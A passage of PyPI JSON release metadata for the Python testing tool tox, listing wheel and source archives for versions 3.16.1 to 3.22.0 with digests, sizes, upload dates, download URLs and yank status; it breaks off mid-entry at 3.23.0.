e":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":137228,"upload_time":"2020-06-29T17:59:53","upload_time_iso_8601":"2020-06-29T17:59:53.356908Z","url":"https://files.pythonhosted.org/packages/ad/0d/773800b6649e1994e1726dc64b0e212896955f38f7d8dc7000bdea47930d/tox-3.16.1-py2.py3-none-any.whl","yanked":true,"yanked_reason":"wheel file is of the rewrite branch"},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"899bdf7a0a4ea4fbe43cb82cb196b720c7934d3998e1963ca8ff340450c8958c","md5":"59dfb6af2620fbbbca158bdf81662c57","sha256":"9a746cda9cadb9e1e05c7ab99f98cfcea355140d2ecac5f97520be94657c3bc7"},"downloads":-1,"filename":"tox-3.16.1.tar.gz","has_sig":false,"md5_digest":"59dfb6af2620fbbbca158bdf81662c57","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":304280,"upload_time":"2020-06-29T17:59:55","upload_time_iso_8601":"2020-06-29T17:59:55.946311Z","url":"https://files.pythonhosted.org/packages/89/9b/df7a0a4ea4fbe43cb82cb196b720c7934d3998e1963ca8ff340450c8958c/tox-3.16.1.tar.gz","yanked":true,"yanked_reason":"wheel file is of the rewrite branch"}],"3.17.0":[{"comment_text":"","core-metadata":{"sha256":"ef96f43ca8e5e09ab608abc0c705997d252e23befb4b62e933b084e15c3e1b1d"},"digests":{"blake2b_256":"ac93d426d7717aa3229223418d2c57f2fe41a84688f5588c75748fa5ed39bfd5","md5":"9410762d08dbef60a7498c70f96f202e","sha256":"df4e418bee73acf258dcba1b1d9c6af0caea5d9105005ecf1b10a9a45c91dbdc"},"downloads":-1,"filename":"tox-3.17.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"9410762d08dbef60a7498c70f96f202e","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":82582,"upload_time":"2020-07-14T20:31:57","upload_time_iso_8601":"2020-07-14T20:31:57.275494Z","url":"https://files.pythonhosted.org/packages/ac/93/d426d7717aa3229223418d2c57f2fe41a84688f5588c75748fa5ed39bfd5/tox-3.17.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8db2875a4b82cea6c5364f96acd5a4560695b4a0237f64caf6413744d0fe92b8","md5":"8df3d0296735a2312e5a0276cc777600","sha256":"1abf2ff7add9fabe95848af14cfe3c412361bef1ce52f7ceb4ff88d289e306ac"},"downloads":-1,"filename":"tox-3.17.0.tar.gz","has_sig":false,"md5_digest":"8df3d0296735a2312e5a0276cc777600","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":303766,"upload_time":"2020-07-14T20:31:59","upload_time_iso_8601":"2020-07-14T20:31:59.077674Z","url":"https://files.pythonhosted.org/packages/8d/b2/875a4b82cea6c5364f96acd5a4560695b4a0237f64caf6413744d0fe92b8/tox-3.17.0.tar.gz","yanked":false,"yanked_reason":null}],"3.17.1":[{"comment_text":"","core-metadata":{"sha256":"52aec369b1ac78624f2da92a587241aa1b8584cff67a24e2f728a8b4b4d7572a"},"digests":{"blake2b_256":"6292cff9157a7b74b06237f830f05521e96b25e53e4d6ecfab75e69b6632143a","md5":"0f3f4c8409fe9fc9b2e2f70c1dc0af0b","sha256":"cf130909a224515f6c894023150ccc860c4cf5ecad64f583b9d43ed1aa7e5da8"},"downloads":-1,"filename":"tox-3.17.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"0f3f4c8409fe9fc9b2e2f70c1dc0af0b","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":82581,"upload_time":"2020-07-15T18:01:41","upload_time_iso_8601":"2020-07-15T18:01:41.014512Z","url":"https://files.pythonhosted.org/packages/62/92/cff9157a7b74b06237f830f05521e96b25e53e4d6ecfab75e69b6632143a/tox-3.17.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4d12cf539738cee565c78280495c944e9fac20bb6c3c382f7cffe4e25bdcabb7","md5":"2ea16306876bdf04bef61c703a8d5fe2","sha256":"5968c07b3aeea715ac2fe723a912e0b6a0c53bebad24fc37eb559b7497f217fa"},"downloads":-1,"filename":"tox-3.17.1.tar.gz","has_sig":false,"md5_digest":"2ea16306876bdf04bef61c703a8d5fe2","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":303832,"upload_time":"2020-07-15T18:01:42","upload_time_iso_8601":"2020-07-15T18:01:42.417748Z","url":"https://files.pythonhosted.org/packages/4d/12/cf539738cee565c78280495c944e9fac20bb6c3c382f7cffe4e25bdcabb7/tox-3.17.1.tar.gz","yanked":false,"yanked_reason":null}],"3.18.0":[{"comment_text":"","core-metadata":{"sha256":"853d1ae94a535b8a95908cad7350a4e9c031f003490286ace088602e8b5bf46f"},"digests":{"blake2b_256":"8eee0ad37329c8be5d436c22cc445ed6b81575f917f8e938137bb50ba0469b5f","md5":"827ec997a22e051ce1eff7dd2fdec592","sha256":"c60692d92fe759f46c610ac04c03cf0169432d1ff8e981e8ae63e068d0954fc3"},"downloads":-1,"filename":"tox-3.18.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"827ec997a22e051ce1eff7dd2fdec592","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":82670,"upload_time":"2020-07-23T08:48:52","upload_time_iso_8601":"2020-07-23T08:48:52.879190Z","url":"https://files.pythonhosted.org/packages/8e/ee/0ad37329c8be5d436c22cc445ed6b81575f917f8e938137bb50ba0469b5f/tox-3.18.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"57eca4d1fa09ba0beb4f9df786a4232ccf5cfb5cbfb9e786c6041cd66e72be87","md5":"2ec46120a7c30afcd5dbbf397e21f8ba","sha256":"f179cb4043d7dc1339425dd49ab1dd8c916246b0d9173143c1b0af7498a03ab0"},"downloads":-1,"filename":"tox-3.18.0.tar.gz","has_sig":false,"md5_digest":"2ec46120a7c30afcd5dbbf397e21f8ba","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":304036,"upload_time":"2020-07-23T08:48:54","upload_time_iso_8601":"2020-07-23T08:48:54.474198Z","url":"https://files.pythonhosted.org/packages/57/ec/a4d1fa09ba0beb4f9df786a4232ccf5cfb5cbfb9e786c6041cd66e72be87/tox-3.18.0.tar.gz","yanked":false,"yanked_reason":null}],"3.18.1":[{"comment_text":"","core-metadata":{"sha256":"7d3a2dd3daf5b6b1ec70e3be8d115304a654644ee077f3445d18aaccf229a962"},"digests":{"blake2b_256":"9d4dbdd9d9a1ad56713d4b92c66f606811d6c580835d20728ae96140bfbab5f5","md5":"41f1c1b0c8424f2ab43bbc3861e061bb","sha256":"3d914480c46232c2d1a035482242535a26d76cc299e4fd28980c858463206f45"},"downloads":-1,"filename":"tox-3.18.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"41f1c1b0c8424f2ab43bbc3861e061bb","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":82667,"upload_time":"2020-07-28T09:07:10","upload_time_iso_8601":"2020-07-28T09:07:10.734781Z","url":"https://files.pythonhosted.org/packages/9d/4d/bdd9d9a1ad56713d4b92c66f606811d6c580835d20728ae96140bfbab5f5/tox-3.18.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"af4ff571bf4af3363c003a06fda9b964e6c4bb118f394f0f1791bfcea1c7b79a","md5":"d0d43e325bf404d9cebd8ba86ea5302f","sha256":"5c82e40046a91dbc80b6bd08321b13b4380d8ce3bcb5b62616cb17aaddefbb3a"},"downloads":-1,"filename":"tox-3.18.1.tar.gz","has_sig":false,"md5_digest":"d0d43e325bf404d9cebd8ba86ea5302f","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":304596,"upload_time":"2020-07-28T09:07:14","upload_time_iso_8601":"2020-07-28T09:07:14.358166Z","url":"https://files.pythonhosted.org/packages/af/4f/f571bf4af3363c003a06fda9b964e6c4bb118f394f0f1791bfcea1c7b79a/tox-3.18.1.tar.gz","yanked":false,"yanked_reason":null}],"3.19.0":[{"comment_text":"","core-metadata":{"sha256":"1af5a5d5e7c95d307723724fd902c2516449399afc4e7d000b36398871db3520"},"digests":{"blake2b_256":"a4eb09b02408f46cd18cc8345849dbf42a7d823ebe1cc8522517dc7b1a924ce5","md5":"607681eacbea711ed71b5b292d6b0690","sha256":"3d94b6921a0b6dc90fd8128df83741f30bb41ccd6cd52d131a6a6944ca8f16e6"},"downloads":-1,"filename":"tox-3.19.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"607681eacbea711ed71b5b292d6b0690","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":83336,"upload_time":"2020-08-06T17:30:15","upload_time_iso_8601":"2020-08-06T17:30:15.262554Z","url":"https://files.pythonhosted.org/packages/a4/eb/09b02408f46cd18cc8345849dbf42a7d823ebe1cc8522517dc7b1a924ce5/tox-3.19.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d49d3ffe3d5c4fb3e786c571ed5426d342bebaadaaceb24a9fd49fa0657de375","md5":"99e4513659ce2333bdf6d268c5a291d8","sha256":"17e61a93afe5c49281fb969ab71f7a3f22d7586d1c56f9a74219910f356fe7d3"},"downloads":-1,"filename":"tox-3.19.0.tar.gz","has_sig":false,"md5_digest":"99e4513659ce2333bdf6d268c5a291d8","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":305877,"upload_time":"2020-08-06T17:30:16","upload_time_iso_8601":"2020-08-06T17:30:16.746949Z","url":"https://files.pythonhosted.org/packages/d4/9d/3ffe3d5c4fb3e786c571ed5426d342bebaadaaceb24a9fd49fa0657de375/tox-3.19.0.tar.gz","yanked":false,"yanked_reason":null}],"3.2.0":[{"comment_text":"","core-metadata":{"sha256":"13c5cf44edb6033b62f1ac4342bc0478a2f3ccbd1a23ce882cc30968b00d060b"},"digests":{"blake2b_256":"bc3fe94a08df440fa827a0a93ba83150b23f765e6896e09b8806f5449f4c73e9","md5":"d1d2a47c341d6da02394aca823d201d7","sha256":"68313afe40ab9f87aa1f641df4e1a5b32407d5ee14a01db03c76418141aaa339"},"downloads":-1,"filename":"tox-3.2.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"d1d2a47c341d6da02394aca823d201d7","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":62918,"upload_time":"2018-08-10T06:54:38","upload_time_iso_8601":"2018-08-10T06:54:38.276271Z","url":"https://files.pythonhosted.org/packages/bc/3f/e94a08df440fa827a0a93ba83150b23f765e6896e09b8806f5449f4c73e9/tox-3.2.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a1cf54515eb7fb000fd1221c5084b53574b1bbd75ec01e4713601c0a8b23de0f","md5":"6b047fe332ab983f6e34261ef2ec94b1","sha256":"6601cc3a0d578e58f9b0b0c9d60964285158b06db0da06565904b0b961f9f298"},"downloads":-1,"filename":"tox-3.2.0.tar.gz","has_sig":false,"md5_digest":"6b047fe332ab983f6e34261ef2ec94b1","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":268757,"upload_time":"2018-08-10T06:54:40","upload_time_iso_8601":"2018-08-10T06:54:40.339608Z","url":"https://files.pythonhosted.org/packages/a1/cf/54515eb7fb000fd1221c5084b53574b1bbd75ec01e4713601c0a8b23de0f/tox-3.2.0.tar.gz","yanked":false,"yanked_reason":null}],"3.2.1":[{"comment_text":"","core-metadata":{"sha256":"032a3dc871c92b1d13395fc0b3a90849a4dd4c0986a2ece588569e121a0d2110"},"digests":{"blake2b_256":"df5313660f04ef09ece4aefcce6b8f79c1586fc34dee1cbedd7c153e02f93489","md5":"dc1dbef6b8e43ddd19041bd38d94fc28","sha256":"37cf240781b662fb790710c6998527e65ca6851eace84d1595ee71f7af4e85f7"},"downloads":-1,"filename":"tox-3.2.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"dc1dbef6b8e43ddd19041bd38d94fc28","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":62896,"upload_time":"2018-08-10T12:34:55","upload_time_iso_8601":"2018-08-10T12:34:55.364992Z","url":"https://files.pythonhosted.org/packages/df/53/13660f04ef09ece4aefcce6b8f79c1586fc34dee1cbedd7c153e02f93489/tox-3.2.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"adfe55b245f4d4b30baafee29fe0f78dcd9eee89e0e222f4b22789f0fb84ae07","md5":"9842594289bea32be520efe7e1b09d4e","sha256":"eb61aa5bcce65325538686f09848f04ef679b5cd9b83cc491272099b28739600"},"downloads":-1,"filename":"tox-3.2.1.tar.gz","has_sig":false,"md5_digest":"9842594289bea32be520efe7e1b09d4e","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":268827,"upload_time":"2018-08-10T12:34:57","upload_time_iso_8601":"2018-08-10T12:34:57.319823Z","url":"https://files.pythonhosted.org/packages/ad/fe/55b245f4d4b30baafee29fe0f78dcd9eee89e0e222f4b22789f0fb84ae07/tox-3.2.1.tar.gz","yanked":false,"yanked_reason":null}],"3.20.0":[{"comment_text":"","core-metadata":{"sha256":"8bdfbed3f08c2caf5f19fdcfb5dccbe1abe1ce8145e0a8f6387a8616336a6cad"},"digests":{"blake2b_256":"548f058a8d4255a106f79fd51421a2d90ef904ab1dbed03803ea91c5c7a401dc","md5":"c8c21c20aedf87f46a7702fddb12edd7","sha256":"e6318f404aff16522ff5211c88cab82b39af121735a443674e4e2e65f4e4637b"},"downloads":-1,"filename":"tox-3.20.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"c8c21c20aedf87f46a7702fddb12edd7","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":83792,"upload_time":"2020-09-01T17:41:17","upload_time_iso_8601":"2020-09-01T17:41:17.138778Z","url":"https://files.pythonhosted.org/packages/54/8f/058a8d4255a106f79fd51421a2d90ef904ab1dbed03803ea91c5c7a401dc/tox-3.20.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b22c579c4ad3d0c050770ee3b3bf42305606107ea42abb88ec8c5ce24c055a3f","md5":"e3219ce6f0543141244b77cd701b0ea1","sha256":"eb629ddc60e8542fd4a1956b2462e3b8771d49f1ff630cecceacaa0fbfb7605a"},"downloads":-1,"filename":"tox-3.20.0.tar.gz","has_sig":false,"md5_digest":"e3219ce6f0543141244b77cd701b0ea1","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":307259,"upload_time":"2020-09-01T17:40:38","upload_time_iso_8601":"2020-09-01T17:40:38.186778Z","url":"https://files.pythonhosted.org/packages/b2/2c/579c4ad3d0c050770ee3b3bf42305606107ea42abb88ec8c5ce24c055a3f/tox-3.20.0.tar.gz","yanked":false,"yanked_reason":null}],"3.20.1":[{"comment_text":"","core-metadata":{"sha256":"8f418f657c11ff9d71bffdca3fbed2419fe83af6573ea0b541c0aadfc2e9cb97"},"digests":{"blake2b_256":"e0795915b9dad867e89bb6495456acfe5d4e2287e74dfa29c059f7b127d5480e","md5":"a70d1817943fb250cf730a0eddedcccc","sha256":"42ce19ce5dc2f6d6b1fdc5666c476e1f1e2897359b47e0aa3a5b774f335d57c2"},"downloads":-1,"filename":"tox-3.20.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"a70d1817943fb250cf730a0eddedcccc","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":83790,"upload_time":"2020-10-09T08:05:12","upload_time_iso_8601":"2020-10-09T08:05:12.898437Z","url":"https://files.pythonhosted.org/packages/e0/79/5915b9dad867e89bb6495456acfe5d4e2287e74dfa29c059f7b127d5480e/tox-3.20.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"fe667206a6c69a5f717fb80cd3a532c0639bc183ad2aa1f23a943ca93b0814bd","md5":"ee15e2a79e22ed16d22222477ee759e4","sha256":"4321052bfe28f9d85082341ca8e233e3ea901fdd14dab8a5d3fbd810269fbaf6"},"downloads":-1,"filename":"tox-3.20.1.tar.gz","has_sig":false,"md5_digest":"ee15e2a79e22ed16d22222477ee759e4","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":306796,"upload_time":"2020-10-09T08:05:14","upload_time_iso_8601":"2020-10-09T08:05:14.677937Z","url":"https://files.pythonhosted.org/packages/fe/66/7206a6c69a5f717fb80cd3a532c0639bc183ad2aa1f23a943ca93b0814bd/tox-3.20.1.tar.gz","yanked":false,"yanked_reason":null}],"3.21.0":[{"comment_text":"","core-metadata":{"sha256":"76c23bc472dbe227d400aeb40437acba27c158cd13815e7765fb6fd46ae87417"},"digests":{"blake2b_256":"5bea8b2b6ee56ae2a58eafd68fca98d0500c8242590a49afd25623d89b374667","md5":"6ddadb22553a954178fc64f9c464d5f6","sha256":"5efda30ad73e662c3844ac51ce1381bf28f61063773e06996aa8b6277133a7c0"},"downloads":-1,"filename":"tox-3.21.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"6ddadb22553a954178fc64f9c464d5f6","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":84506,"upload_time":"2021-01-08T18:07:44","upload_time_iso_8601":"2021-01-08T18:07:44.050076Z","url":"https://files.pythonhosted.org/packages/5b/ea/8b2b6ee56ae2a58eafd68fca98d0500c8242590a49afd25623d89b374667/tox-3.21.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7c98e75a77a04b6240c4a48dbd07081966ad07ca8f18402da3d894e01a7141d0","md5":"38d37e3835381615648fa8badecd1a1a","sha256":"8cccede64802e78aa6c69f81051b25f0706639d1cbbb34d9366ce00c70ee054f"},"downloads":-1,"filename":"tox-3.21.0.tar.gz","has_sig":false,"md5_digest":"38d37e3835381615648fa8badecd1a1a","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":310628,"upload_time":"2021-01-08T18:07:45","upload_time_iso_8601":"2021-01-08T18:07:45.545876Z","url":"https://files.pythonhosted.org/packages/7c/98/e75a77a04b6240c4a48dbd07081966ad07ca8f18402da3d894e01a7141d0/tox-3.21.0.tar.gz","yanked":false,"yanked_reason":null}],"3.21.1":[{"comment_text":"","core-metadata":{"sha256":"d89bdfa6fb943756b6a097f282809fa4d43caf2b3015bdf725de8eed00809cc3"},"digests":{"blake2b_256":"d52a1f7b0ff269ddd65565c20e5048e39328ad0d08fe177dd9b5b39fcbc8f6f3","md5":"9413e3eafd0514605dfa2c3d4ef67c44","sha256":"8a28facf65275c84b3bfde102afe24541d2ce02fd83ea07ce906537c3a74ed2d"},"downloads":-1,"filename":"tox-3.21.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"9413e3eafd0514605dfa2c3d4ef67c44","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":84664,"upload_time":"2021-01-13T07:36:36","upload_time_iso_8601":"2021-01-13T07:36:36.871663Z","url":"https://files.pythonhosted.org/packages/d5/2a/1f7b0ff269ddd65565c20e5048e39328ad0d08fe177dd9b5b39fcbc8f6f3/tox-3.21.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"e7a070463912e118e7ac9daa13fde5c0c73dac3ee4207daf85731ec9ecff15ba","md5":"300865b1be852680a0779edd54f2c7bf","sha256":"31379f2662393034203c5d6b2ebb7b86c67452cfc689784475c1c6e4a3cbc0cd"},"downloads":-1,"filename":"tox-3.21.1.tar.gz","has_sig":false,"md5_digest":"300865b1be852680a0779edd54f2c7bf","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":311155,"upload_time":"2021-01-13T07:36:38","upload_time_iso_8601":"2021-01-13T07:36:38.497397Z","url":"https://files.pythonhosted.org/packages/e7/a0/70463912e118e7ac9daa13fde5c0c73dac3ee4207daf85731ec9ecff15ba/tox-3.21.1.tar.gz","yanked":false,"yanked_reason":null}],"3.21.2":[{"comment_text":"","core-metadata":{"sha256":"c0139ccb47d89a6f9d0440de13ae2c96486b33649b575f76bb2201df89dbf08c"},"digests":{"blake2b_256":"167526a3c4a593fa93090a0cab77142e52a09b8fc12d6bcea41f9b053177493d","md5":"a95a66b525808e48d0a2b7ca3fb378f0","sha256":"0aa777ee466f2ef18e6f58428c793c32378779e0a321dbb8934848bc3e78998c"},"downloads":-1,"filename":"tox-3.21.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"a95a66b525808e48d0a2b7ca3fb378f0","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":84668,"upload_time":"2021-01-19T10:59:21","upload_time_iso_8601":"2021-01-19T10:59:21.577654Z","url":"https://files.pythonhosted.org/packages/16/75/26a3c4a593fa93090a0cab77142e52a09b8fc12d6bcea41f9b053177493d/tox-3.21.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"435ffdf5a733cbffb0eafb41cf458b0a0bb1e90ef6ef6cd1a0bcc6e3fa9ecfd7","md5":"d48a756645671c0ff69270bb6d5f88b9","sha256":"f501808381c01c6d7827c2f17328be59c0a715046e94605ddca15fb91e65827d"},"downloads":-1,"filename":"tox-3.21.2.tar.gz","has_sig":false,"md5_digest":"d48a756645671c0ff69270bb6d5f88b9","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":311190,"upload_time":"2021-01-19T10:59:23","upload_time_iso_8601":"2021-01-19T10:59:23.097912Z","url":"https://files.pythonhosted.org/packages/43/5f/fdf5a733cbffb0eafb41cf458b0a0bb1e90ef6ef6cd1a0bcc6e3fa9ecfd7/tox-3.21.2.tar.gz","yanked":false,"yanked_reason":null}],"3.21.3":[{"comment_text":"","core-metadata":{"sha256":"f40ba60f95e45c74280dd6f6d9b335bc5c9b4b9cd3725a9c22afbd3e7661ef47"},"digests":{"blake2b_256":"8c8dc42440af715d4a6952fe3074bb1cb133681014409743a867c6396401234c","md5":"7d6a602e6534509444b9044f77d76e56","sha256":"76df3db6eee929bb62bdbacca5bb6bc840669d98e86a015b7a57b7df0a6eaf8b"},"downloads":-1,"filename":"tox-3.21.3-py2.py3-none-any.whl","has_sig":false,"md5_digest":"7d6a602e6534509444b9044f77d76e56","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":84812,"upload_time":"2021-01-28T08:14:20","upload_time_iso_8601":"2021-01-28T08:14:20.508877Z","url":"https://files.pythonhosted.org/packages/8c/8d/c42440af715d4a6952fe3074bb1cb133681014409743a867c6396401234c/tox-3.21.3-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"58d08021ebb1d9a5e88b141854a3eff82aba57c823f26258af3b875230210b16","md5":"f45a813b0a8fd62749f6bf3db8ec84d1","sha256":"854e6e4a71c614b488f81cb88df3b92edcb1a9ec43d4102e6289e9669bbf7f18"},"downloads":-1,"filename":"tox-3.21.3.tar.gz","has_sig":false,"md5_digest":"f45a813b0a8fd62749f6bf3db8ec84d1","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":311324,"upload_time":"2021-01-28T08:14:22","upload_time_iso_8601":"2021-01-28T08:14:22.120253Z","url":"https://files.pythonhosted.org/packages/58/d0/8021ebb1d9a5e88b141854a3eff82aba57c823f26258af3b875230210b16/tox-3.21.3.tar.gz","yanked":false,"yanked_reason":null}],"3.21.4":[{"comment_text":"","core-metadata":{"sha256":"56bfdb265725078d9322fd5972857c8e35023c55765cc116be6ad98d96405503"},"digests":{"blake2b_256":"4fe2ab817be1680bc6d39c24c6cc05253d1bfa3e8b57d034352be266ea95a5d8","md5":"cba3eca1a66a48f3f69629ec60b74d23","sha256":"65d0e90ceb816638a50d64f4b47b11da767b284c0addda2294cb3cd69bd72425"},"downloads":-1,"filename":"tox-3.21.4-py2.py3-none-any.whl","has_sig":false,"md5_digest":"cba3eca1a66a48f3f69629ec60b74d23","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":84815,"upload_time":"2021-02-02T20:29:05","upload_time_iso_8601":"2021-02-02T20:29:05.723295Z","url":"https://files.pythonhosted.org/packages/4f/e2/ab817be1680bc6d39c24c6cc05253d1bfa3e8b57d034352be266ea95a5d8/tox-3.21.4-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8b1ce7701c96c41440c91a7fadc3f31e211bba557af9ce6acd082108fa05911e","md5":"64f4b7f0e7fb4e13c13ba6fecd7bd6fa","sha256":"cf7fef81a3a2434df4d7af2a6d1bf606d2970220addfbe7dea2615bd4bb2c252"},"downloads":-1,"filename":"tox-3.21.4.tar.gz","has_sig":false,"md5_digest":"64f4b7f0e7fb4e13c13ba6fecd7bd6fa","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":311500,"upload_time":"2021-02-02T20:29:07","upload_time_iso_8601":"2021-02-02T20:29:07.290951Z","url":"https://files.pythonhosted.org/packages/8b/1c/e7701c96c41440c91a7fadc3f31e211bba557af9ce6acd082108fa05911e/tox-3.21.4.tar.gz","yanked":false,"yanked_reason":null}],"3.22.0":[{"comment_text":"","core-metadata":{"sha256":"103f13559a2f6093262374ee90f7cb023f5f4b50f338838c355d2f63d8ab45fd"},"digests":{"blake2b_256":"d7ddfcb0bff2f4639702f9b43f73f66158ad7bda989de09ece7b58eeda28efd4","md5":"a20bf98ee20abd5d1400ec5815427122","sha256":"89afa9c59c04beb55eda789c7a65feb1a70fde117f85f1bd1c27c66758456e60"},"downloads":-1,"filename":"tox-3.22.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"a20bf98ee20abd5d1400ec5815427122","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":84808,"upload_time":"2021-02-16T08:44:01","upload_time_iso_8601":"2021-02-16T08:44:01.298046Z","url":"https://files.pythonhosted.org/packages/d7/dd/fcb0bff2f4639702f9b43f73f66158ad7bda989de09ece7b58eeda28efd4/tox-3.22.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"46d626b3992979624fe0d4bd4cae0815b174b60e585338ce9c495cd56cc09a3f","md5":"3b13a57769639a8eeed7eb5a4095cf65","sha256":"ed1e650cf6368bcbc4a071eeeba363c480920e0ed8a9ad1793c7caaa5ad33d49"},"downloads":-1,"filename":"tox-3.22.0.tar.gz","has_sig":false,"md5_digest":"3b13a57769639a8eeed7eb5a4095cf65","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":311626,"upload_time":"2021-02-16T08:44:02","upload_time_iso_8601":"2021-02-16T08:44:02.868003Z","url":"https://files.pythonhosted.org/packages/46/d6/26b3992979624fe0d4bd4cae0815b174b60e585338ce9c495cd56cc09a3f/tox-3.22.0.tar.gz","yanked":false,"yanked_reason":null}],"3.23.0":[{"comment_text":"","core-metadata":{"s